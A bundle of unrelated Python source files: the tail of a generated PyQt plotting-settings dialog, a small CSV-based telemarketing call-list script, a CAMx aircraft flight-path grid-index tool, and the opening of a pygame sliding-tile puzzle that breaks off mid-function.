Dialog.setTabOrder(self.bkgd_color_btn, self.ticks_color_btn)
Dialog.setTabOrder(self.ticks_color_btn, self.grid_color_btn)
Dialog.setTabOrder(self.grid_color_btn, self.ticks_hide_chkbox)
Dialog.setTabOrder(self.ticks_hide_chkbox, self.mticks_chkbox)
Dialog.setTabOrder(self.mticks_chkbox, self.xy_ticks_font_btn)
Dialog.setTabOrder(self.xy_ticks_font_btn, self.xticks_rotation_sbox)
Dialog.setTabOrder(self.xticks_rotation_sbox,
self.yticks_rotation_sbox)
Dialog.setTabOrder(self.yticks_rotation_sbox,
self.enable_mathtext_chkbox)
Dialog.setTabOrder(self.enable_mathtext_chkbox,
self.xtick_formatter_cbb)
Dialog.setTabOrder(self.xtick_formatter_cbb,
self.xtick_funcformatter_lineEdit)
Dialog.setTabOrder(self.xtick_funcformatter_lineEdit,
self.ytick_formatter_cbb)
Dialog.setTabOrder(self.ytick_formatter_cbb,
self.ytick_funcformatter_lineEdit)
Dialog.setTabOrder(self.ytick_funcformatter_lineEdit,
self.tightLayout_chkbox)
Dialog.setTabOrder(self.tightLayout_chkbox, self.gridon_chkbox)
Dialog.setTabOrder(self.gridon_chkbox, self.border_hide_chkbox)
Dialog.setTabOrder(self.border_hide_chkbox, self.border_color_btn)
Dialog.setTabOrder(self.border_color_btn, self.border_lw_sbox)
Dialog.setTabOrder(self.border_lw_sbox, self.border_ls_cbb)
Dialog.setTabOrder(self.border_ls_cbb, self.line_id_cbb)
Dialog.setTabOrder(self.line_id_cbb, self.line_hide_chkbox)
Dialog.setTabOrder(self.line_hide_chkbox, self.line_style_cbb)
Dialog.setTabOrder(self.line_style_cbb, self.line_color_btn)
Dialog.setTabOrder(self.line_color_btn, self.line_width_lineEdit)
Dialog.setTabOrder(self.line_width_lineEdit, self.mk_style_cbb)
Dialog.setTabOrder(self.mk_style_cbb, self.mk_facecolor_btn)
Dialog.setTabOrder(self.mk_facecolor_btn, self.mk_edgecolor_btn)
Dialog.setTabOrder(self.mk_edgecolor_btn, self.mk_size_lineEdit)
Dialog.setTabOrder(self.mk_size_lineEdit, self.mk_width_lineEdit)
Dialog.setTabOrder(self.mk_width_lineEdit, self.opacity_val_slider)
Dialog.setTabOrder(self.opacity_val_slider, self.eb_line_id_cbb)
Dialog.setTabOrder(self.eb_line_id_cbb, self.eb_line_hide_chkbox)
Dialog.setTabOrder(self.eb_line_hide_chkbox, self.eb_line_style_cbb)
Dialog.setTabOrder(self.eb_line_style_cbb, self.eb_line_color_btn)
Dialog.setTabOrder(self.eb_line_color_btn, self.eb_line_width_lineEdit)
Dialog.setTabOrder(self.eb_line_width_lineEdit, self.yeb_mk_style_cbb)
Dialog.setTabOrder(self.yeb_mk_style_cbb, self.eb_mk_facecolor_btn)
Dialog.setTabOrder(self.eb_mk_facecolor_btn, self.eb_mk_edgecolor_btn)
Dialog.setTabOrder(self.eb_mk_edgecolor_btn, self.eb_mk_size_lineEdit)
Dialog.setTabOrder(self.eb_mk_size_lineEdit, self.eb_mk_width_lineEdit)
Dialog.setTabOrder(self.eb_mk_width_lineEdit, self.xeb_mk_style_cbb)
Dialog.setTabOrder(self.xeb_mk_style_cbb, self.cmap_class_cbb)
Dialog.setTabOrder(self.cmap_class_cbb, self.cmap_cbb)
Dialog.setTabOrder(self.cmap_cbb, self.add_to_fav_btn)
Dialog.setTabOrder(self.add_to_fav_btn, self.del_from_fav_btn)
Dialog.setTabOrder(self.del_from_fav_btn, self.reverse_cmap_chkbox)
Dialog.setTabOrder(self.reverse_cmap_chkbox, self.auto_clim_chkbox)
Dialog.setTabOrder(self.auto_clim_chkbox, self.cr_reset_tbtn)
Dialog.setTabOrder(self.cr_reset_tbtn, self.cr_min_dSpinBox)
Dialog.setTabOrder(self.cr_min_dSpinBox, self.cr_max_dSpinBox)
Dialog.setTabOrder(self.cr_max_dSpinBox, self.show_colorbar_chkbox)
Dialog.setTabOrder(self.show_colorbar_chkbox, self.cb_orientation_cbb)
Dialog.setTabOrder(self.cb_orientation_cbb, self.bar_color_btn)
Dialog.setTabOrder(self.bar_color_btn, self.bar_width_lineEdit)
Dialog.setTabOrder(self.bar_width_lineEdit, self.ebline_color_btn)
Dialog.setTabOrder(self.ebline_color_btn, self.ebline_width_lineEdit)
Dialog.setTabOrder(self.ebline_width_lineEdit, self.ebline_style_cbb)
Dialog.setTabOrder(self.ebline_style_cbb, self.bar_opacity_slider)
Dialog.setTabOrder(self.bar_opacity_slider, self.ebline_opacity_slider)
Dialog.setTabOrder(self.ebline_opacity_slider, self.label_lineEdit)
Dialog.setTabOrder(self.label_lineEdit, self.annote_fontsize_sbox)
Dialog.setTabOrder(self.annote_fontsize_sbox, self.annote_angle_dsbox)
Dialog.setTabOrder(self.annote_angle_dsbox,
self.annote_bbox_alpha_dsbox)
Dialog.setTabOrder(self.annote_bbox_alpha_dsbox,
self.reset_annote_fmt_btn)
Dialog.setTabOrder(self.reset_annote_fmt_btn, self.annote_fmt_lineEdit)
def retranslateUi(self, Dialog):
_translate = QtCore.QCoreApplication.translate
Dialog.setWindowTitle(_translate("Dialog", "Dialog"))
self.label_42.setText(_translate("Dialog", "X"))
self.xaxis_scale_cbb.setItemText(0, _translate("Dialog",
"Linear Scale"))
self.xaxis_scale_cbb.setItemText(1,
_translate("Dialog", "Log Transform"))
self.xaxis_scale_cbb.setItemText(
2, _translate("Dialog", "Symmetrical Log Transform"))
self.xaxis_scale_cbb.setItemText(
3, _translate("Dialog", "Logistic Transform"))
self.label_41.setText(_translate("Dialog", "Y"))
self.yaxis_scale_cbb.setItemText(0, _translate("Dialog",
"Linear Scale"))
self.yaxis_scale_cbb.setItemText(1,
_translate("Dialog", "Log Transform"))
self.yaxis_scale_cbb.setItemText(
2, _translate("Dialog", "Symmetrical Log Transform"))
self.yaxis_scale_cbb.setItemText(
3, _translate("Dialog", "Logistic Transform"))
self.label_10.setText(_translate("Dialog", "Labels"))
self.label_18.setText(_translate("Dialog", "X-Label"))
self.label_11.setText(_translate("Dialog", "Y-Label"))
self.hide_xylabel_chkbox.setText(_translate("Dialog", "Hide"))
self.xy_label_font_btn.setToolTip(_translate("Dialog", "Change font."))
self.xy_label_font_btn.setText(_translate("Dialog", "Font"))
self.label.setText(_translate("Dialog", "XY Range"))
self.hide_title_chkbox.setText(_translate("Dialog", "Hide"))
self.title_font_btn.setToolTip(_translate("Dialog", "Change font."))
self.title_font_btn.setText(_translate("Dialog", "Font"))
self.label_25.setText(_translate("Dialog", "Legend"))
self.label_40.setText(_translate("Dialog", "Axis Scale"))
self.legend_on_chkbox.setToolTip(
_translate("Dialog", "Check to show legend"))
self.legend_on_chkbox.setText(_translate("Dialog", "Show"))
self.label_24.setText(_translate("Dialog", "Location"))
self.legend_loc_cbb.setToolTip(
_translate("Dialog", "Select location for legend"))
self.legend_loc_cbb.setItemText(0, _translate("Dialog", "Auto"))
self.legend_loc_cbb.setItemText(1, _translate("Dialog", "Upper Right"))
self.legend_loc_cbb.setItemText(2, _translate("Dialog", "Upper Left"))
self.legend_loc_cbb.setItemText(3, _translate("Dialog", "Lower Left"))
self.legend_loc_cbb.setItemText(4, _translate("Dialog", "Lower Right"))
self.legend_loc_cbb.setItemText(5, _translate("Dialog", "Right"))
self.legend_loc_cbb.setItemText(6, _translate("Dialog", "Center Left"))
self.legend_loc_cbb.setItemText(7, _translate("Dialog",
"Center Right"))
self.legend_loc_cbb.setItemText(8, _translate("Dialog",
"Lower Center"))
self.legend_loc_cbb.setItemText(9, _translate("Dialog",
"Upper Center"))
self.legend_loc_cbb.setItemText(10, _translate("Dialog", "Center"))
self.label_13.setText(_translate("Dialog", "Title"))
self.autoScale_chkbox.setText(_translate("Dialog", "Auto Scale"))
self.xmin_lbl.setText(_translate("Dialog", "X-min"))
self.xmax_lbl.setText(_translate("Dialog", "X-max"))
self.ymin_lbl.setText(_translate("Dialog", "Y-min"))
self.ymax_lbl.setText(_translate("Dialog", "Y-max"))
self.config_tabWidget.setTabText(
self.config_tabWidget.indexOf(self.figure_tab),
_translate("Dialog", "Figure"))
self.label_12.setText(_translate("Dialog", "Width"))
self.figWidth_lineEdit.setText(_translate("Dialog", "4"))
self.figWidth_lineEdit.setPlaceholderText(_translate("Dialog", "4"))
self.label_14.setText(_translate("Dialog", "Height"))
self.figHeight_lineEdit.setText(_translate("Dialog", "3"))
self.figHeight_lineEdit.setPlaceholderText(_translate("Dialog", "3"))
self.label_15.setText(_translate("Dialog", "DPI"))
self.figDpi_lineEdit.setToolTip(
_translate("Dialog", "Set dot per inch property of the figure."))
self.figDpi_lineEdit.setText(_translate("Dialog", "120"))
self.figDpi_lineEdit.setPlaceholderText(_translate("Dialog", "120"))
self.label_69.setText(_translate("Dialog", "Ratio"))
self.figAspect_cbb.setToolTip(
_translate("Dialog", "Set figure aspect."))
self.figAspect_cbb.setItemText(0, _translate("Dialog", "Auto"))
self.figAspect_cbb.setItemText(1, _translate("Dialog", "Equal"))
self.label_17.setText(_translate("Dialog", "Colors"))
self.label_59.setText(_translate("Dialog", "Rotation"))
self.label_60.setText(_translate("Dialog", "X"))
self.xticks_rotation_sbox.setSuffix(_translate("Dialog", " degree"))
self.label_61.setText(_translate("Dialog", "Y"))
self.yticks_rotation_sbox.setSuffix(_translate("Dialog", " degree"))
self.label_16.setText(_translate("Dialog", "Figure Size"))
self.enable_mathtext_chkbox.setToolTip(
_translate("Dialog", "Show tick labels as math style."))
self.enable_mathtext_chkbox.setText(_translate("Dialog", "Math Text"))
self.label_38.setText(_translate("Dialog", "X"))
self.xtick_formatter_cbb.setItemText(0, _translate("Dialog", "Auto"))
self.xtick_formatter_cbb.setItemText(1, _translate("Dialog", "Custom"))
self.xtick_funcformatter_lineEdit.setToolTip(
_translate(
"Dialog",
"Input c string format specifier, e.g. %1d, %.2f, %.2e, 10^%n, etc."
))
self.xtick_funcformatter_lineEdit.setText(_translate("Dialog", "%g"))
self.label_39.setText(_translate("Dialog", "Y"))
self.ytick_formatter_cbb.setItemText(0, _translate("Dialog", "Auto"))
self.ytick_formatter_cbb.setItemText(1, _translate("Dialog", "Custom"))
self.ytick_funcformatter_lineEdit.setToolTip(
_translate(
"Dialog",
"Input c string format specifier, e.g. %1d, %.2f, %.3e, 10^%n, etc."
))
self.ytick_funcformatter_lineEdit.setText(_translate("Dialog", "%g"))
self.label_6.setText(_translate("Dialog", "Layout"))
self.label_7.setText(_translate("Dialog", "Ticks"))
self.ticks_hide_chkbox.setToolTip(
_translate("Dialog", "Check to hide ticks."))
self.ticks_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.mticks_chkbox.setToolTip(
_translate("Dialog", "Check to show minor ticks."))
self.mticks_chkbox.setText(_translate("Dialog", "Minor On"))
self.xy_ticks_sample_lbl.setText(_translate("Dialog", "Sample"))
self.xy_ticks_font_btn.setToolTip(
_translate("Dialog", "Change tick labels font."))
self.xy_ticks_font_btn.setText(_translate("Dialog", "Choose Font"))
self.tightLayout_chkbox.setText(_translate("Dialog", "Tight"))
self.gridon_chkbox.setToolTip(
_translate("Dialog", "Check to show grid."))
self.gridon_chkbox.setText(_translate("Dialog", "Grid On"))
self.border_hide_chkbox.setToolTip(
_translate("Dialog", "Check to hide figure border."))
self.border_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.label_67.setText(_translate("Dialog", "Color"))
self.label_65.setText(_translate("Dialog", "Width"))
self.border_lw_sbox.setToolTip(
_translate("Dialog", "Change border width."))
self.label_68.setText(_translate("Dialog", "Style"))
self.border_ls_cbb.setToolTip(
_translate("Dialog", "Change border line style."))
self.border_ls_cbb.setItemText(0, _translate("Dialog", "solid"))
self.border_ls_cbb.setItemText(1, _translate("Dialog", "dashed"))
self.border_ls_cbb.setItemText(2, _translate("Dialog", "dashdot"))
self.border_ls_cbb.setItemText(3, _translate("Dialog", "dotted"))
self.label_62.setText(_translate("Dialog", "Background"))
self.label_63.setText(_translate("Dialog", "Ticks"))
self.label_64.setText(_translate("Dialog", "Grid"))
self.label_66.setText(_translate("Dialog", "Boundaries"))
self.config_tabWidget.setTabText(
self.config_tabWidget.indexOf(self.style_tab),
_translate("Dialog", "Style"))
self.label_173.setText(_translate("Dialog", "Cross"))
self.cross_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.label_164.setText(_translate("Dialog", "Lines"))
self.label_169.setText(_translate("Dialog", "Color"))
self.label_170.setText(_translate("Dialog", "Style"))
self.label_166.setText(_translate("Dialog", "Size"))
self.label_165.setText(_translate("Dialog", "Width"))
self.label_167.setText(_translate("Dialog", "Width"))
self.label_171.setText(_translate("Dialog", "Face Color"))
self.label_172.setText(_translate("Dialog", "Edge Color"))
self.label_168.setText(_translate("Dialog", "Style"))
self.cross_line_style_cbb.setItemText(0, _translate("Dialog", "solid"))
self.cross_line_style_cbb.setItemText(1,
_translate("Dialog", "dashed"))
self.cross_line_style_cbb.setItemText(2,
_translate("Dialog", "dashdot"))
self.cross_line_style_cbb.setItemText(3,
_translate("Dialog", "dotted"))
self.cross_line_style_cbb.setItemText(4, _translate("Dialog", "None"))
self.cross_line_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.cross_mk_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.label_163.setText(_translate("Dialog", "Marker"))
self.label_174.setText(_translate("Dialog", "Text"))
self.cross_rename_chkbox.setText(_translate("Dialog", "Rename"))
self.label_176.setText(_translate("Dialog", "Color"))
self.cross_text_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.config_tabWidget.setTabText(
self.config_tabWidget.indexOf(self.cross_tab),
_translate("Dialog", "Cross"))
self.line_id_cbb.setToolTip(
_translate("Dialog", "Select line to configure"))
self.line_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.label_3.setText(_translate("Dialog", "Line"))
self.label_2.setText(_translate("Dialog", "Line ID"))
self.label_26.setText(_translate("Dialog", "Opacity"))
self.label_23.setText(_translate("Dialog", "Label"))
self.label_4.setText(_translate("Dialog", "Marker"))
self.label_22.setText(_translate("Dialog", "Width"))
self.label_20.setText(_translate("Dialog", "Size"))
self.label_9.setText(_translate("Dialog", "Width"))
self.label_8.setText(_translate("Dialog", "Style"))
self.line_style_cbb.setItemText(0, _translate("Dialog", "solid"))
self.line_style_cbb.setItemText(1, _translate("Dialog", "dashed"))
self.line_style_cbb.setItemText(2, _translate("Dialog", "dashdot"))
self.line_style_cbb.setItemText(3, _translate("Dialog", "dotted"))
self.line_style_cbb.setItemText(4, _translate("Dialog", "None"))
self.label_5.setText(_translate("Dialog", "Color"))
self.label_19.setText(_translate("Dialog", "Style"))
self.label_21.setText(_translate("Dialog", "Face Color"))
self.label_37.setText(_translate("Dialog", "Edge Color"))
self.label_70.setText(_translate("Dialog", "Draw As"))
self.line_ds_cbb.setItemText(0, _translate("Dialog", "Line"))
self.line_ds_cbb.setItemText(1, _translate("Dialog", "Steps"))
self.line_ds_cbb.setItemText(2, _translate("Dialog", "Mid-Steps"))
self.line_ds_cbb.setItemText(3, _translate("Dialog", "Post-Steps"))
self.opacity_val_lbl.setText(_translate("Dialog", "100%"))
self.config_tabWidget.setTabText(
self.config_tabWidget.indexOf(self.curve_tab),
_translate("Dialog", "Curve"))
self.label_36.setText(_translate("Dialog", "Line ID"))
self.eb_line_hide_chkbox.setText(_translate("Dialog", "Hide"))
self.label_30.setText(_translate("Dialog", "Line"))
self.label_33.setText(_translate("Dialog", "Style"))
self.label_79.setText(_translate("Dialog", "Style"))
self.label_27.setText(_translate("Dialog", "Style"))
self.label_35.setText(_translate("Dialog", "Face Color"))
self.label_34.setText(_translate("Dialog", "Width"))
self.label_32.setText(_translate("Dialog", "Size"))
self.xeb_mk_style_cbb.setToolTip(
_translate(
"Dialog",
"<html><head/><body><p>Set marker style for X errbar</p></body></html>"
))
self.eb_line_style_cbb.setItemText(0, _translate("Dialog", "solid"))
self.eb_line_style_cbb.setItemText(1, _translate("Dialog", "dashed"))
self.eb_line_style_cbb.setItemText(2, _translate("Dialog", "dashdot"))
self.eb_line_style_cbb.setItemText(3, _translate("Dialog", "dotted"))
self.eb_line_style_cbb.setItemText(4, _translate("Dialog", "None"))
self.label_29.setText(_translate("Dialog", "Color"))
self.yeb_mk_style_cbb.setToolTip(
_translate(
"Dialog",
"<html><head/><body><p>Set marker style for Y errbar</p></body></html>"
))
self.label_31.setText(_translate("Dialog", "Width"))
self.label_81.setText(_translate("Dialog", "Edge Color"))
self.label_28.setText(_translate("Dialog", "Cap-Y"))
self.label_80.setText(_translate("Dialog", "Cap-X"))
self.eb_line_id_cbb.setToolTip(
_translate("Dialog", "Select line to configure"))
self.config_tabWidget.setTabText(
self.config_tabWidget.indexOf(self.eb_tab),
_translate("Dialog", "Errorbar"))
self.label_47.setText(_translate("Dialog", "Color Bar"))
self.add_to_fav_btn.setText(_translate("Dialog", "..."))
self.del_from_fav_btn.setText(_translate("Dialog", "..."))
self.reverse_cmap_chkbox.setText(_translate("Dialog", "Reverse"))
self.auto_clim_chkbox.setText(_translate("Dialog", "Auto"))
self.cr_reset_tbtn.setToolTip(
_translate(
"Dialog",
"<html><head/><body><p>Reset color range</p></body></html>"))
self.cr_reset_tbtn.setText(_translate("Dialog", "..."))
self.label_45.setText(_translate("Dialog", "Min"))
self.label_46.setText(_translate("Dialog", "Max"))
self.show_colorbar_chkbox.setText(_translate("Dialog", "Show"))
self.cb_orientation_lbl.setText(_translate("Dialog", "Orientation"))
self.cb_orientation_cbb.setItemText(0,
_translate("Dialog", "Vertical"))
self.cb_orientation_cbb.setItemText(1,
_translate("Dialog", "Horizontal"))
self.label_43.setText(_translate("Dialog", "Color Map"))
self.label_44.setText(_translate("Dialog", "Color Range"))
self.config_tabWidget.setTabText(
self.config_tabWidget.indexOf(self.image_tab),
_translate("Dialog", "Image"))
self.label_51.setText(_translate("Dialog", "ErrorBar"))
self.label_57.setText(_translate("Dialog", "Label"))
self.label_72.setText(_translate("Dialog", "Annotation"))
self.label_50.setText(_translate("Dialog", "Bar"))
self.bar_opacity_lbl.setText(_translate("Dialog", "100%"))
self.label_56.setText(_translate("Dialog", "Errorbar"))
self.ebline_opacity_lbl.setText(_translate("Dialog", "100%"))
self.label_48.setText(_translate("Dialog", "Bar"))
self.label_54.setText(_translate("Dialog", "Width"))
self.label_52.setText(_translate("Dialog", "Color"))
self.label_49.setText(_translate("Dialog", "Color"))
self.label_58.setText(_translate("Dialog", "Width"))
self.ebline_style_cbb.setItemText(0, _translate("Dialog", "solid"))
self.ebline_style_cbb.setItemText(1, _translate("Dialog", "dashed"))
self.ebline_style_cbb.setItemText(2, _translate("Dialog", "dashdot"))
self.ebline_style_cbb.setItemText(3, _translate("Dialog", "dotted"))
self.ebline_style_cbb.setItemText(4, _translate("Dialog", "None"))
self.label_53.setText(_translate("Dialog", "Style"))
self.label_78.setText(_translate("Dialog", "Format"))
self.label_74.setText(_translate("Dialog", "Font Size"))
self.annote_angle_dsbox.setSuffix(_translate("Dialog", " deg"))
self.label_77.setText(_translate("Dialog", "Text"))
self.label_73.setText(_translate("Dialog", "Rotation"))
self.label_75.setText(_translate("Dialog", "Alpha"))
self.reset_annote_fmt_btn.setToolTip(
_translate("Dialog", "Reset to default format."))
self.reset_annote_fmt_btn.setText(_translate("Dialog", "Reset"))
self.label_76.setText(_translate("Dialog", "BBox"))
self.label_55.setText(_translate("Dialog", "Opacity"))
self.config_tabWidget.setTabText(
self.config_tabWidget.indexOf(self.barchart_tab),
_translate("Dialog", "BarChart"))
from mpl4qt.widgets._widgets import TabWidget
from mpl4qt.widgets.mplbasewidget import MatplotlibCMapWidget
from . import resources_rc
if __name__ == "__main__":
import sys
app = QtWidgets.QApplication(sys.argv)
Dialog = QtWidgets.QDialog()
ui = Ui_Dialog()
ui.setupUi(Dialog)
Dialog.show()
sys.exit(app.exec_())
|
"""
call.py - Telemarketing script that displays the next name
and phone number of a Customer to call.
This script is used to drive promotions for
specific customers based on their order history.
We only want to call customers that have placed
an order of over 20 Watermelons.
"""
# Load the customers from the passed filename
# Return a dictionary containing the customer data
# (key = customer_id)
def load_customers(filename):
customers = {}
f = open(filename)
# First line of the file should be the header,
# split that into a list
header = f.readline().rstrip().split(',')
# Process each line in a file, create a new
# dict for each customer
for line in f:
data = line.rstrip().split(',')
customer = {}
# Loop through each column, adding the data
# to the dictionary using the header keys
for i in range(len(header)):
customer[header[i]] = data[i]
# Add the customer to our dictionary by customer id
customers[customer['customer_id']] = customer
# Close the file
f.close()
return customers
# Load the orders from the passed filename
# Return a list of all the orders
def load_orders(filename):
orders = []
f = open(filename)
# First line of the file should be the header,
# split that into a list
header = f.readline().rstrip().split(',')
# Process each line in a file, create a new
# dict for each order
for line in f:
data = line.rstrip().split(',')
# Create a dictionary for the order by combining
# the header list and the data list
order = dict(zip(header, data))
# Add the order to our list of orders to return
orders.append(order)
# Close the file
f.close()
return orders
def display_customer(customer):
print "---------------------"
print "Next Customer to call"
print "---------------------\n"
print "Name: ", customer.get('first', ''), customer.get('last', '')
print "Phone: ", customer.get('telephone')
print "\n"
def main():
# Load data from our csv files
customers = load_customers('customers.csv')
orders = load_orders('orders.csv')
# Loop through each order
for order in orders:
# Is this order over 20 watermelon?
if order.get('num_watermelons', 0) > 20:
# Has this customer not been contacted yet?
customer = customers.get(order.get('customer_id', 0), 0)
if customer.get('called', '') == '':
display_customer(customer)
break
if __name__ == '__main__':
main() |
#!/disk41/jjung_linux/util/python/anaconda3/bin/python
# step0 return (i,j,k,hr) of model results from air plane path
# required input files are :
# [1] CAMx 3D met file
# [2] CAMx landuse file which has 'TOPO_M'
# [3] Aircraft measurement icartt data file
#
# Original script is from zliu.
# Change calculation of finding layer index that flight path passed from pressure to height (2017-5-18, jjung)
####################################################################
#module declaration
import math
import numpy as np
import sys
from jd3 import julian_date , caldat
from pyproj import Proj
from PseudoNetCDF import PNC
from PseudoNetCDF.camxfiles.Memmaps import uamiv
from PseudoNetCDF.icarttfiles.ffi1001 import ffi1001
####################################################################
def get_ijk ( lcc, dxy, nx, ny, height_mod , lat_plane , lon_plane , height_plane , lemis ) :
#if not (math.isnan(height_plane) or math.isnan(lon_plane) or math.isnan(lat_plane)):
if not (math.isnan(lon_plane) or math.isnan(lat_plane)):
lcpx, lcpy = lcc(lon_plane,lat_plane)
ii = int(lcpx/dxy) # minus one grid cell as python starts from 0
jj = int(lcpy/dxy) # minus one grid cell as python starts from 0
if (ii < 0) or (ii >= nx) or (jj < 0) or (jj >= ny):
print ("i or j index is out of domain")
print ("i, j, nx, ny = {}, {}, {}, {}".format(ii+1, jj+1, nx, ny))
print ("This point will be ignored")
ii = -999 ; jj = -999 ; kk = -999
#print("ii,jj,nx,ny={},{},{},{}".format(ii,jj,nx,ny))
else: # the plane is within domain horizontally
top_hgt1d = height_mod[:,jj,ii]
nz = height_mod.shape[0]
if not lemis:
if (height_plane > top_hgt1d[nz-1]) or math.isnan(height_plane) :
print ("Airplane is located above the model top or missing")
print ("Airplane altitude = {}".format(height_plane))
print ("Model top (sum of topo and layer height) = {}".format(top_hgt1d[nz-1]))
ii = -999 ; jj = -999 ; kk = -999
else:
kk = np.searchsorted(top_hgt1d,[height_plane,],side='right')[0]
else: # altitude will not be checked for emissions evaluation. It is always assigned to the first layer
kk = 0
else :
ii = -999 ; jj = -999 ; kk = -999
#print ii , jj , kk
ijk = [ii, jj, kk]
return ijk
#######################################################################
def get_plane_xyht (file_plane,itzon,yyyy,mm,dd) :
data_plane = ffi1001(file_plane)
lats = data_plane.variables['LATITUDE']
lons360 = data_plane.variables['LONGITUDE']
lons = [((x + 180) % 360) - 180 for x in lons360 ]
height = data_plane.variables['ALTP']
height = [ x for x in height ] #array
fday = data_plane.variables['UTC'][:]/86400. - itzon/24.
jday = [ x + julian_date (yyyy,mm,dd, 0 , 0 , 0 ) for x in fday ]
#print ('jday[0]={}'.format(jday[0]))
return lats , lons , height , jday
###################################################################
def jtime2yyyymmddhh ( jtime ) :
ctime = caldat ( jtime )
yyyy = str(ctime[0]).zfill(4) ; mm = str(ctime[1]).zfill(2) ; dd = str(ctime[2]).zfill(2)
yyyymmdd = yyyy + mm + dd
hh = str(ctime[3]).zfill(2)
return [yyyymmdd, hh]
####################################################################
def diag_plane() :
lemis = False
if str(sys.argv[1]).lower() == 'true' :
lemis = True
outfile = str(sys.argv[2])
met3d_a = str(sys.argv[3])
met3d_z = str(sys.argv[4])
file_met2d = str(sys.argv[5])
file_plane = str(sys.argv[6])
itzon = int(sys.argv[7])
date8c = str(sys.argv[8])
file_met3d = met3d_a + date8c + met3d_z
# Read the aircraft flight track coordinates ( lat , lon , height , julian time )
yyyy = int(date8c[:4])
mm = int(date8c[4:6])
dd = int(date8c[6:8])
lats , lons , height , jtimes = get_plane_xyht ( file_plane , itzon, yyyy, mm, dd)
npts = len (lats)
print ('no. of data points = {}'.format(npts))
ijkdhs = np.zeros((npts,6))
# Get the model grid cell that includes the current point on track at the hour
data_met3d = uamiv( file_met3d )
data_met2d = uamiv( file_met2d )
# Extract domain defintion from data_met3d
nx = len(data_met3d.dimensions['COL'])
ny = len(data_met3d.dimensions['ROW'])
nl = len(data_met3d.dimensions['LAY'])
dxy = float(getattr(data_met3d,'XCELL')) # Simply assume XCELL = YCELL
lon0 = str(getattr(data_met3d,'XCENT'))
lat0 = str(getattr(data_met3d,'YCENT'))
lat1 = str(getattr(data_met3d,'P_ALP'))
lat2 = str(getattr(data_met3d,'P_BET'))
x0 = str(-getattr(data_met3d,'XORIG'))
y0 = str(-getattr(data_met3d,'YORIG'))
lcc = Proj('+proj=lcc +a=6370000, +b=6370000, +lon_0='+lon0+' +lat_0='+lat0+' +lat_1='+lat1+' +lat_2='+lat2+' +x_0='+x0+' +y_0='+y0)
# Read height variables
height0 = np.asarray ( data_met3d.variables['ZGRID_M'] ) #meter
topo = np.asarray ( data_met2d.variables['TOPO_M'] ) #meter
heights_mod = np.zeros ( data_met3d.variables['ZGRID_M'][0,:,:,:].shape,data_met3d.variables['ZGRID_M'].dtype ) #meter
# Loop through all the data points along flight tracks
for i in range ( npts ) :
lat_plane = lats[i] ; lon_plane = lons[i] ; height_plane = height[i] ; jtime = jtimes[i]
#print ('jtime= {}'.format(jtime))
yyyymmddhh = jtime2yyyymmddhh ( jtime )
yyyymmdd = yyyymmddhh [ 0 ]
hour = int(yyyymmddhh[ 1 ])
for il in range(nl):
heights_mod [il,:,:] = height0 [hour,il,:,:] + topo [0,0,:,:]
ijk = get_ijk ( lcc, dxy, nx, ny, heights_mod , lat_plane , lon_plane , height_plane , lemis )
ii = ijk[0] ; jj = ijk[1] ; kk = ijk[2]
#if np.min (ijk) >0 :
# grid index reduced by one intentionally as python starts from 0. (2015-5-18, jjung)
#print (i , yyyymmdd , ii , jj , kk , hour , lat_plane , lon_plane , height_plane ,heights_mod[kk,jj,ii])
ijkdhs[i,:] = ii,jj,kk,yyyymmdd,hour,int(date8c)
np.savetxt(outfile,ijkdhs,fmt="%d")
####################################################################
if __name__ == '__main__':
diag_plane()
|
from copy import deepcopy,copy
import pygame
import random
import time
pygame.init()
background_img=pygame.image.load("background.jpg")
frame=pygame.image.load("frame.png")
frame2=pygame.image.load("frame.png")
tile1=pygame.image.load("tile.jpeg")
tile2=pygame.image.load("tile.jpeg")
STAT_FONT = pygame.font.SysFont("comicsans",50)
stat_font_sm=pygame.font.SysFont("comicsans",30)
disp_width=800
disp_height=600
gameDisplay = pygame.display.set_mode((disp_width,disp_height))
pygame.display.set_caption("the wooden works")
clock = pygame.time.Clock()
silver=(137,117,248)
brown=(201,126,61)
black=(0,0,0)
white=(255,255,255)
blue=(40,47,140)
def draw_background():
global background_img
background_img=pygame.transform.scale(background_img,(disp_width,disp_height+20))
gameDisplay.blit(background_img,(0,0))
class square:
def __init__(self,number,pos):
self.num=number
self.pos=pos
def draw_square(self):
global tile1,tile2
x_pos=145+self.pos[0]*100
y_pos=195+self.pos[1]*100
tile1=pygame.transform.scale(tile1,(90,90))
gameDisplay.blit(tile1,(x_pos,y_pos,90,90))
# pygame.draw.rect(gameDisplay,white,(x_pos,y_pos,90,90))
text = STAT_FONT.render(str(self.num),3, (255,0,0))
gameDisplay.blit(text, (x_pos+33,y_pos+30))
class model_square:
def __init__(self,number,pos):
self.num=number
self.pos=pos
def draw_square(self):
global tile1,tile2
x_pos=555+self.pos[0]*60
y_pos=205+self.pos[1]*60
tile2=pygame.transform.scale(tile2,(55,55))
gameDisplay.blit(tile2,(x_pos,y_pos))
# pygame.draw.rect(gameDisplay,white,(x_pos,y_pos,55,55))
text = stat_font_sm.render(str(self.num),3, (255,0,0))
gameDisplay.blit(text, (x_pos+23,y_pos+20))
#145+3x90
# 400+100=500-40=460 ,,, 400-80=320-10x2=300/3=100
def board():
board_size=380
global frame
frame=pygame.transform.scale(frame,(board_size,board_size))
gameDisplay.blit(frame,(100,150))
# pygame.draw.rect(gameDisplay,silver,(100,150,board_size,board_size))
pygame.draw.rect(gameDisplay,black,(139,189,302,302))
def info_board():
board_size=215
global frame2
frame2=pygame.transform.scale(frame2,(board_size+6,board_size+15))
gameDisplay.blit(frame2,(533,180))
# pygame.draw.rect(gameDisplay,silver,(550,200,board_size,board_size))
pygame.draw.rect(gameDisplay,black,(550,200,188,185))
def search(p):
global squares
for sq in squares:
if sq.pos==p:
return sq.num-1
def search2(p):
global squar
for sq in squar:
if sq.pos==p:
return sq.num-1
def move_squares_solution(dir):
global blank,temp_squares,squar
squar=deepcopy(temp_squares)
# for x,t in enumerate(temp_squares):
# squar[x].pos=t.pos
try:
if dir=='d':
posit=search2((blank[0],blank[1]-1))
squar[posit].pos=(squar[posit].pos[0],
squar[posit].pos[1]+1)
if blank[1]>0:
blank=(blank[0],blank[1]-1)
if dir=='u':
